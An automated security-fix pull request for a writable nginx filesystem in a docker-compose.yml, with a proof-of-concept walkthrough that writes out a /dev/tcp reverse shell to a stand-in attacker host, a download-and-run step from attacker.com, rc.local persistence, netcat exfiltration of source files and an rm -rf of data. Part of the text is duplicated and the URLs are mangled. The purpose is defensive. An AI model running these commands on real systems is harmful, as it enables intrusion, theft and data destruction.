Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in the docker-compose.yml file allows the 'nginx' service to run with a writable root filesystem, enabling an attacker who gains initial access to the container (e.g., via a web application vulnerability in the rustfs project) to persist malicious payloads, modify container configurations, or execute arbitrary code directly on the filesystem. In the context of rustfs—a Rust-based filesystem implementation that likely uses nginx as a web proxy or server for file operations—an attacker could exploit this to download and run additional tools, potentially escalating control over the containerized filesystem service. This demonstrates a concrete risk where the lack of read-only enforcement turns a compromised container into a foothold for further attacks.

The vulnerability in the docker-compose.yml file allows the 'nginx' service to run with a writable root filesystem, enabling an attacker who gains initial access to the container (e.g., via a web application vulnerability in the rustfs project) to persist malicious payloads, modify container configurations, or execute arbitrary code directly on the filesystem. In the context of rustfs—a Rust-based filesystem implementation that likely uses nginx as a web proxy or server for file operations—an attacker could exploit this to download and run additional tools, potentially escalating control over the containerized filesystem service. This demonstrates a concrete risk where the lack of read-only enforcement turns a compromised container into a foothold for further attacks.

# Step 1: Assume initial compromise of the nginx container
# (e.g., via a web vulnerability like path traversal in rustfs's file serving logic, or SQL injection if it interfaces with a database)
# Attacker gains a shell in the nginx container, perhaps through a reverse shell from exploiting a flaw in the Rust application code.

# Example: If rustfs has a web endpoint vulnerable to command injection (hypothetical based on typical filesystem apps), attacker could execute:
curl "http://rustfs-app:port/files?cmd=id;bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

# Step 2: Once inside the nginx container, verify writable filesystem and write a malicious payload
# The root filesystem is writable due to missing 'read_only: true' in docker-compose.yml
cd /
echo '#!/bin/bash' > /malicious.sh
echo 'curl -o /tmp/exploit http://attacker.com/exploit.sh && chmod +x /tmp/exploit && /tmp/exploit' >> /malicious.sh
chmod +x /malicious.sh

# Step 3: Persist the payload by modifying nginx config or startup scripts
# For example, add to /etc/nginx/nginx.conf or a startup script to run on container restart
echo 'daemon off;' >> /etc/nginx/nginx.conf  # Modify config (writable)
# Or inject into /etc/rc.local equivalent if present
echo '/malicious.sh &' >> /etc/rc.local

# Step 4: Execute the payload to download and run further exploits
# This could include container escape tools or ransomware targeting the rustfs data
/malicious.sh
# Payload example: Download a container escape exploit (e.g., based on CVE-2020-15257 or similar)
/tmp/exploit  # Assumes exploit targets Docker/Kubernetes setup in rustfs deployment

# Step 5: Exfiltrate or corrupt rustfs data
# Access mounted volumes (if any) or internal files
find /app -name "*.rs" -exec cat {} \; | nc attacker-ip 9999  # Exfiltrate source code
rm -rf /data/*  # Corrupt filesystem data if rustfs stores files in /data

Exploitation Impact Assessment

Vulnerability Details

• Rule ID: yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service
• File: docker-compose.yml
• Description: Service 'nginx' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• docker-compose.yml

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.